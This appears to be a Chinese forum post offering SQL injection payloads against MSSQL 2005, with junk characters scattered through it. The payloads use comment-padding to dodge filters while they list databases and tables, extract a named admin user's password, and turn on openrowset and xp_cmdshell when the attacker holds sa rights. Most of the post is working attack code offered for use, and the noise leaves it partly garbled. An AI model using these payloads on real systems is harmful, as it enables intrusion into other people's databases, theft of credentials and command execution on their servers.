* A# n0 e. a: Y6 p
, a0 Q+ X6 Z7 I: o' Z" C2 W3 L G* t7 k+ _4 f9 r8 Y* `
[Copy to clipboard]CODE:) B3 G" m! B/ r5 @/ Q# b, A
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--; q4 e8 [, J! u
' [$ R9 m, x$ `+ T
爆表语句,somedb部份是所要列的数据库,红色数字1累加7 r: B7 Q+ U# T
+ j. P6 }1 L# J: m& D) Y5 Q: H# ?3 i4 K L6 h- Z1 e# Q
[Copy to clipboard]CODE:
& s0 c, f8 b+ t+ t$ m/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
( H% ^$ h- R( i$ t# [
9 o- b0 A4 n& E/ C7 l/ Y爆字段语句,爆表admin里user='icerover'的密码段
; @. V$ j- z5 V2 s/ |3 x- I5 M8 O: R' t6 I, \" c% @, q
2 p6 n8 J2 g4 G, B2 \ ?' n& {' W+ U
[Copy to clipboard]CODE:& D. N# m8 e, Q; A% C; b
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
% V% W0 s, T' U# M# f, b
/ ?" R5 X* A9 {+ Xmssql2005默认没有开xp_cmdshell的,openrowset也不能用6 [, A0 r5 t( z1 o$ ?) r' [, o
如果是sa权限,可以这样来开启" M' d$ \% c7 v' B+ r
开启openrowset! G0 M# l5 b l3 i
1 B0 I* f+ q# t. V7 h
5 ^- G! i, W- e2 z
[Copy to clipboard]CODE:
( [" h/ [& Y9 x/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--/ A. Y9 u9 L- G6 m
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--5 v" j$ Y; A6 q% k/ ?
0 ?8 X7 S; E8 h* @; ~
开启xp_cmdshell
/ M% _$ z& w0 V
# ?% _& g" I8 d) L% ?0 b, U
, S" M3 N. L* e+ L- a[Copy to clipboard]CODE:# N& Z# Q) ~6 e$ Y3 n
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--. M1 f! d+ l! l5 v4 C7 W
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
_; \% k# V1 z' C1 L9 L& }, z% u2 P& N4 C
ok,over~~晚安
$ q3 A& K; P: J: H; A" Y |